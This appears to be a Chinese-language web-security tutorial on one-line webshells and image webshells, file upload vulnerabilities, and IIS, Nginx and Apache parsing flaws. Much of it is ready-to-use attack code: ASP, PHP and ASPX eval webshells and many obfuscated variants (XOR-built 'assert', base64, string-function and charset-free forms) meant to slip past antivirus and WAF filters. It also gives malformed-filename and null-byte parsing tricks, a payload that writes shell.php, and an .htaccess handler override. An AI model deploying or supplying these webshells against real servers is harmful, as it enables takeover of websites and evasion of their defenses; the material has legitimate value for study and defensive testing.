一句话及图片码
一句话木马
就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。
一句话木马基本形态
1 2 3 4 5 6 7 8 9
| /*asp一句话木马*/ <%execute(request("value"))%>
/*php一句话木马*/ <?php@eval($_POST['123']);?>
/*aspx一句话木马*/ <%@Page Language="Jscript"%> <%eval(Request.Item["value"])%>
|
一句话木马使用方式及变形绕过
一句话木马可以是单独的文件,通过文件上传发送到服务器,或者通过命令执行远程写入文件。也可以在服务器中的文件中写入一句话代码。随后可以使用菜刀等工具进行远程连接。
(双变量绕过)
1 2
| <?php @eval($_POST['value']);?>这个一句话木马中eval可以成为防御方过滤的目标,所以相对应的我们可以在代码中不出现eval关键字,改写成如下形式: <?php $_GET['a']($_POST['b'])?>这样同时传递两个变量,将eval作为参数传递进去。
|
(字符串变形绕过)
1 2 3 4 5 6
| 用substr_replace()函数变形assert达到免杀的效果
<?php $a=substr_replace("assexx","rt",4); $a($_POST['x']); ?>
|
(定义函数绕过)
1 2 3 4 5 6 7
| 定义一个函数把关键词分割达到 bypass效果 <?php function kdog($a){ $a($_POST['x']); } kdog(assert); ?>
|
(特殊字符干扰绕过)
1 2 3 4 5 6 7
| 特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符初代版本
<?php $a=$_REQUEST['a']; $b=null; eval($b.$a); ?>
|
1 2 3 4 5
| <?php $a=$_POST['a']; $b="\n"; eval($b.=$a); ?>
|
(PHP对字符串变形的函数)
1 2 3 4 5 6 7 8 9 10
| ucwords()//函数把字符串中每个单词的首字符转换为大写。 ucfirst()//函数把字符串中的首字符转换为大写。 trim()//函数从字符串的两端删除空白字符和其他预定义字符。 substr_replace()//函数把字符串的一部分替换为另一个字符串 substr()//函数返回字符串的一部分。 strtr()//函数转换字符串中特定的字符。 strtoupper()//函数把字符串转换为大写。 strtolower()//函数把字符串转换为小写。 strtok()//函数把字符串分割为更小的字符串 str_rot13()//函数对字符串执行ROT13编码。
|
(编码绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 用php的编码函数,或者用异或等等 简单的base64_decode,可以加入一些下划线干扰杀软
<?php $a=base64_decode("YXNz+ZX___j___0"); $a=($_POST[x]); ?>
异或
<?php $a=("!"^"@").'ssert'; $a($_POST[x]); ?>
|
(无字符特征马绕过)
1 2 3 4 5 6 7
| <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST'; $___=$$__; $_($___[_]); //assert($_POST[_]); ?>
|
1 2 3 4 5 6
| <?php $decrpt=$_POST['x']; $arrs=exploed("|",$decrpt)[1]; $arrs=explode("|",base64_decode($arrs)); call_user_func($arrs[0],$arrs[1]); ?>
|
一句话木马变形总结
- 双变量绕过
- 字符串变形绕过
- 定义函数绕过
- 回调函数绕过
- 特殊字符干扰绕过
- 数组绕过
- 类绕过
- 编码绕过
- 无字符特征码绕过
特别提醒:
自php7.1后,assert函数被弃用,现在越来越多的人可能更倾向使用大马而非一句话木马。
图片马
发展史
1
| 需要注意的是即使图片马成功上传,因为后缀是图片格式,正常情况下不能被当作脚本执行,图片马也就不会生效,后面需要通过截断,解析漏洞等方式将图片马以脚本的格式解析才能使图片马生效。
|
制作图片马
1
| 图片马中的一句话代码可以写多种脚本格式。如php、asp、jsp等。这样增加了图片马的通用性。无论网站是哪种脚本语言都可以上传
|
1
| 小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者iis的低版本解析漏洞来运行,不过功能少,一般只有上传等功能。传小马更多的是为了通过小马上传大马
|
1
| 大马体积比较大,一般5OK以上,功能也多,一般都包括提权命令,磁盘管理,数据库连接接口,执行命令等功能,这种马隐蔽性不好,容易被杀毒软件等查杀。
|
文件上传漏洞简介
1 2 3
| 在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。
|
高危触发点
- 相册、头像上传
- 视频、照片分享
- 附件上传(论坛发帖、邮箱)
- 文件管理器
中间件解析漏洞
三种常见中间件解析漏洞
1 2 3 4 5 6 7
| IIS5.X - IIS6.x : /xx.asp/xx.jpg xx.asp;.jpg test.asa test.cer test.cdx
IIS7.5: a.aspx.a;.a.aspx.jpg..jpg
|
1 2 3
| test.php.php123 是从右到左开始判断解析 AddHandler php5-script.php test2.php.jpg AddType application/x-httpd-php.jpg #即使扩展名为jpg,一样能以php的方式运行
|
1 2 3 4 5 6 7
| xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
fix_pathinfo /1.jpg/1.php /1.jpg%00.php /1.jpg/%20\0.php
|
IIS常见版本
1 2 3 4
| 6.0 一般服务器为windows server 2003 7.0/7.5 一般服务器为windows server 2008 8.0/8.5 一般服务器为windows server 2012 10.0 一般服务器为windows server 2016
|
IIS5.x / 6.0解析漏洞(两种方法)
1 2 3 4 5
| 1. 在网站下建立文件夹名字为.asp.asa的文件夹,其目录内的任何扩展名的文件都被IIS当成asp文件来解析执行。目录解析一般是配合编辑器进行使用,如ckfinder,fck
2. 文件解析ly.asp;.jpg asa,cer,cdx 在IIS6.0下,服务器默认不解析分号后面的内容,因此该文件被当作asp文件解析。 IIS6.0下默认的可执行文件除了asp还包含asa,cer,cdxasa在IIS7.0,7.5也可以。cer在7.0下有的可以有的不行。
|
IIS7.0/IIS7.5/Nginx<8.03 畸形解析漏洞
1 2 3 4 5 6
| 在Fast-CGI开启状态下,可以上传一个例如ly.jpg,内容为<?php fputs(fopen('shell.php''w'),<?php eval($_POST[cmd])?>');?>的文件。然后访问ly.jpg/.php, 在这个目录下就会生成一句话木马shell.php 注意:只要是llS的支持PHP的都可以在图片后面加/.php看是否能运行。lis7.5/10.0都可能会被执行。这个漏洞准确的说不是中间件的漏洞,而是PHP的解析漏洞。
|
Apache解析漏洞
1
| apache是从右往左开始判断解析,如果为不可识别解析,就再往左判断。比如x.php.zz,因为后缀是”.zz”不可被apache识别解析,所以会再往左解析,将该文件解析为x.php
|
1
| 如果在Apache中.htaccess可被执行,且可以被上传,那可以尝试在.htaccess中写入:SetHandler application/x-httpd-php然后再上传任意后缀名的木马,这样均会被当成php解析
|